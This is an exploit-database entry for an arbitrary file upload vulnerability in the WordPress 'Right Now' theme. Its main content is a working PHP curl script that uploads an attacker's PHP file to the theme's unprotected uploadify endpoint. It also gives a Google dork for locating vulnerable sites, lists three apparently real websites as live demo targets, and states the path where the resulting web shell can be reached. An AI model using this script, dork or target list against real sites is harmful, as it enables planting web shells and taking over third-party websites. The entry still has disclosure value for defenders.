WordPress Right Now theme - Arbitrary File Upload Vulnerability

2013-10-31T00:00:00
ID 1337DAY-ID-21420
Type zdt
Reporter smailmax
Modified 2013-10-31T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ###############################################################
# Exploit Title: WordPress Right Now theme - Arbitrary File Upload Vulnerability
# Author: Smail Max
# Date: 10/31/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://themeforest.net/item/right-now-wp-full-video-image-with-audio/1575990
# Category: webapps/php
# Google dork: inurl:wp-content/themes/RightNow/
###############################################################


= = = = = = = =
1)Exploit     =
2)Real Demo   =
= = = = = = = =

1)Exploit :
= = = = = =

<?php
$uploadfile="YourFile.php";
$ch = curl_init("http://[Target]/rightnowwp/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

2) Exploit demo :
= = = = = = = = =
http://brainframe.it/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php
http://swedishhousemafia.it/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php
http://www.iteva.co/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php

# #### #### #### #### #### #### #### #### #

Shell Path : http://[Target]/wp-content/uploads/settingsimages/YourFile.php

# #### #### #### #### #### #### #### #### #
# Facebook Profile : www.fb.com/smailmax
# E-mail : ur0@hotmail.com
# #### #### #### #### #### #### #### #### #
##### Fi Khatr : > Smail Fox, Ped Rou, Ŝimõõw Any      #####
##### Safouane Saw, RootMax,  DrShano, Novice Exe      #####
##### Abdelaziz Babiz, Youness El Amri, Salah Soultan  #####
##### Âh Mêd, Docteur Virùs, Le-MîSstèr Tàriik         #####
##### Sam7o Li Ila Nsit Chi Wa7d :(  ./Smail Max        #####
#####            W    A    L   I   D   A  <3           #####

#  0day.today [2016-04-20]  #